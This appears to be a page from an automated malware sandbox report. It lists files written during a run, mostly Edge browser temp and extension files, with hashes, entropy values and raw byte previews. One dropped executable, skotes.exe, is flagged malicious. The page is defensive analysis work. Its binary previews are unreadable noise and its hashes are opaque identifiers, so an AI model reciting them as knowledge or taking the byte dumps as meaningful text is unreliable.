Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\5f50ed69-7df7-4eeb-a9b3-2c20fc22a51b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/CFZ2cHkObTysAGz88:GdS8scZNzFrMa4M+labb1TqeZ
MD5:	A4C1A16984D4A1F4D15F6A9075FE4ABD
SHA1:	15E87677062BF7F7B7E67381FC2E84D460F28F6F
SHA-256:	254A9865F8224E75BA2122569902D21BB2D612E501589842B35C334B8DA28187
SHA-512:	6BFDF4BEFE6BB68184683D7E90994848D262D7C18BB4D74BF024BF99035511A1F3564BE49E8E6DF934CC4E6F33216FA1A8B2E613B9F5900B51A8AB68B6C754FE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\653560fa-c9a2-4e1e-a8bc-73ad313eb8cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\6575d89b-fc24-4466-b5cc-8cd62166da9d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsEBKEHJJDAA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1920512
Entropy (8bit):	7.950653148548105
Encrypted:	false
SSDEEP:	49152:hWl8DpZssVM7EYHnwQyZ61IVlAwJMfwAJnkP1Gb0Iga:hsSbG7bHnlyZ61k2kNY
MD5:	3DDA196E23D46002E364E5CAB7803F7A
SHA1:	FBA9B6B66FB54D04D82B412E41C61051D72CDABB
SHA-256:	8810EFDCED51FDEA03108E8062441F480727460876660C86EF372A8F7AE5FEB4
SHA-512:	375396E79FE038F2C91422DA9141C51F482B7C832C3E98DC3EBFC663CC42680AF9D6C8D236A179C518951B5478C36CB0FCE6CC69F43075B2985193BA827CF4DA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....yu....@.................................W...k.......H...................P.K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...mtubkuce.0....1..0..................@...fjbqbvbv......K......(..............@....taggant.0....L.."...,..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b8ba2bcd-7caf-4aa1-b0eb-b7cbe9409102.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\c8429298-8268-4f71-9acd-2155018d82c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.397356572691862
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx04FezkNJ5BFeFM:JIVuwEw5MUFZLBQLtBFwkNLBFEF5TM
MD5:	215BBC885A319B472D48D8A23695278C
SHA1:	284B18A42ADC13A143B193BF3D26732578AB5C29
SHA-256:	454D58A9B5D99A466688BA8079EAC0BD3B87C862894E83A5A44DD1B1E85B6337
SHA-512:	B443E7268D57E4CF2BA8544F22B06869F1E6BB1BCE21DA16F61FA7D54B50D79FEA144B0B44B3958FC1438E3D9B4BCF2B9F819253BAC96F10155C1D59F6F6BF82
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\f658a329-3c89-43ae-a3dc-7f0d9107dca0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8836_1815127892\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8836_1815127892\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8836_1815127892\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8836_1815127892\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_1815127892\f658a329-3c89-43ae-a3dc-7f0d9107dca0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\653560fa-c9a2-4e1e-a8bc-73ad313eb8cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
